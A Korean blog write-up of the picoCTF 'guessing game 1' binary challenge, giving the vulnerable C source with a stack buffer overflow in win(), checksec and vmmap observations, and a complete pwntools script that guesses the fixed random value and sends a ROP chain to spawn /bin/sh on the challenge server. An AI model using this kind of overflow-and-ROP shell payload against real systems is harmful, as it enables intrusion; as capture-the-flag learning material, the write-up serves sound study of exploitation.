[picoctf] guessing game 1

dandb3·2023년 7월 10일
0

writeup

목록 보기
3/3

소스 코드

이번 문제에서는 c코드가 주어졌다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

#define BUFSIZE 100


long increment(long in) {
	return in + 1;
}

long get_random() {
	return rand() % BUFSIZE;
}

int do_stuff() {
	long ans = get_random();
	ans = increment(ans);
	int res = 0;
	
	printf("What number would you like to guess?\n");
	char guess[BUFSIZE];
	fgets(guess, BUFSIZE, stdin);
	
	long g = atol(guess);
	if (!g) {
		printf("That's not a valid number!\n");
	} else {
		if (g == ans) {
			printf("Congrats! You win! Your prize is this print statement!\n\n");
			res = 1;
		} else {
			printf("Nope!\n\n");
		}
	}
	return res;
}

void win() {
	char winner[BUFSIZE];
	printf("New winner!\nName? ");
	fgets(winner, 360, stdin);
	printf("Congrats %s\n\n", winner);
}

int main(int argc, char **argv){
	setvbuf(stdout, NULL, _IONBF, 0);
	// Set the gid to the effective gid
	// this prevents /bin/sh from dropping the privileges
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	
	int res;
	
	printf("Welcome to my guessing game!\n\n");
	
	while (1) {
		res = do_stuff();
		if (res) {
			win();
		}
	}
	
	return 0;
}
  • 코드를 보면, 취약점을 발견할 수 있는데, 바로 win함수의 fgets(winner, 360, stdin); 부분이다.
  • BUFSIZE는 100밖에 되지 않는데, 360이나 되는 양을 read하니까 buffer overflow를 발생시킬 수 있다.
  • 하지만 win에 도달하기 위해서는 do_stuff 함수에서 rand()값을 맞춰야 한다.
  • rand값은 프로그램 생성 시(컴파일 시) 정해지는 seed값으로 돌아가게 된다. (?) 얘는 자세히는 모르겠음.
  • 어쨌든 그렇기 때문에 프로그램이 돌아갈 때에는 이미 seed값이 정해졌으므로, pwndbg를 통해 random number를 알아낸 후, 그 값을 통해 올바른 값을 집어 넣고 win 함수를 실행시키면 된다.

vmmap 결과

![](https://velog.velcdn.com/images/dandb3/post/5e72f915-8303-436b-b4c6-0aeef202e4a2/image.png)
보면 알겠지만, 라이브러리가 매핑된 영역이 없다! -> static linking이 적용된 파일이다.

checksec 결과

![](https://velog.velcdn.com/images/dandb3/post/d7bd919d-5962-4f50-b205-c9cbd007b1db/image.png)
No PIE인 코드이고, BOF를 이용할 수 있으므로, 가젯을 이용해 ROP를 하면 될 것이다.

익스플로잇 코드

from pwn import *

#r = process ("./vuln")
r = remote("jupiter.challenges.picoctf.org", 26735)

pop_rax = 0x4163f4
pop_rdi = 0x400696
pop_rsi = 0x410ca3
pop_rdx = 0x44a6b5
syscall = 0x40137c
read = 0x44a6a0
bss = 0x6b7000

r.sendlineafter(b"What number would you like to guess?\n", b"84")

payload = b"A" * 0x78
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(8)
payload += p64(read)

payload += p64(pop_rax) + p64(0x3b)
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(syscall)
pause()
r.sendlineafter(b"New winner!\nName? ", payload)
r.send(b"/bin/sh\x00")

r.interactive()

배운 점?

  • 결과만 놓고 보면 쉽지만, static linking이 된 파일의 경우 어떻게 다루어야 하는 지에 대해서 감을 잡은 것 같다.
  • 처음에는 system 함수를 찾아서 "/bin/sh"를 인자로 넣어서 실행하려고 했는데, system 함수에 대한 symbol이 없다고 떠서 당황함.
  • static link의 경우 실제 코드에서 사용하는 함수들의 경우에만 symbol이 남아있고 (얘는 확실 한듯), 메모리에 올라가는 것 같다. (이 부분은 불확실함. 대신 이렇게 생각한 이유는 one_gadget으로 했을 때에 아예 "/bin/sh" 자체가 없다고 했음.)
  • 어쨌든 코드에서 사용했던 함수들의 사용이 가능하고, static linking이 된 만큼 사용할 수 있는 gadget의 수도 엄청 많다. -> ROP가 더 쉬워짐.
profile
공부 내용 저장소

0개의 댓글